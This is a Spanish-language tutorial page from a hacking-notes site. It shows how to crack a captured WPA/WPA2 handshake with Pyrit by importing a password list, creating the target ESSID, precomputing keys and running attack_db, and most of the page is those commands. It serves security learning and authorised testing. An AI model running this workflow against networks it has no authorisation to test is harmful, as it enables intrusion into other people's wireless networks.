> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/hacking-wifi/wpa-wpa2-psk-network-attacks/precomputed-attacks/pyrit-database-attack-cracking.md).

# Crackeo de ataque a la base de datos de Pyrit

Precalcula claves WPA/WPA2 en una base de datos de Pyrit y prueba un handshake capturado.

Los ataques a la base de datos de Pyrit precomputan claves antes de probar la captura. Esto hace que la búsqueda final sea muy rápida.

El flujo de trabajo importa candidatos de contraseña, añade el ESSID objetivo y genera los valores necesarios.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgmwqtmKkrgGGVbZasqSH%2Fimage.png?alt=media&amp;token=0e8b5876-9c0b-4b2e-a2c9-b7fcad75f615" alt=""><figcaption></figcaption></figure>

### Importar candidatos de contraseña

Importa la lista de contraseñas en la base de datos de Pyrit:

{% code overflow="wrap" %}

```bash
pyrit -i passwords.txt import_passwords
```

{% endcode %}

### Crear el ESSID

Añade el nombre de la red objetivo:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNK6LX20afte1GR8Ne0wp%2Fimage.png?alt=media&amp;token=19e53b19-5b1d-4ebb-8b2b-2770645c967d" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
pyrit -e jordan create_essid
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfXbe8TMVLoZWiVf8cL7h%2Fimage.png?alt=media&amp;token=0b62b893-6fff-47b7-a3bd-126e24bc5567" alt=""><figcaption></figcaption></figure>

### Precomputar las claves

Genera los valores de la base de datos para las contraseñas importadas y el ESSID:

{% code overflow="wrap" %}

```bash
pyrit batch
```

{% endcode %}

### Probar la captura

Ejecuta el ataque a la base de datos contra el handshake capturado:

{% code overflow="wrap" %}

```bash
pyrit -r Capture-01.cap attack_db
```

{% endcode %}

Esta prueba tarda 0.0001 segundos. Pyrit comprueba unos 93 millones de contraseñas por segundo.

La base de datos precomputada evita calcular cada contraseña durante la búsqueda final.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGNjJ9FPBTODpPuw1BRfR%2Fimage.png?alt=media&amp;token=d4bc6a51-2a61-4b23-8461-22a3040270bf" alt=""><figcaption></figcaption></figure>


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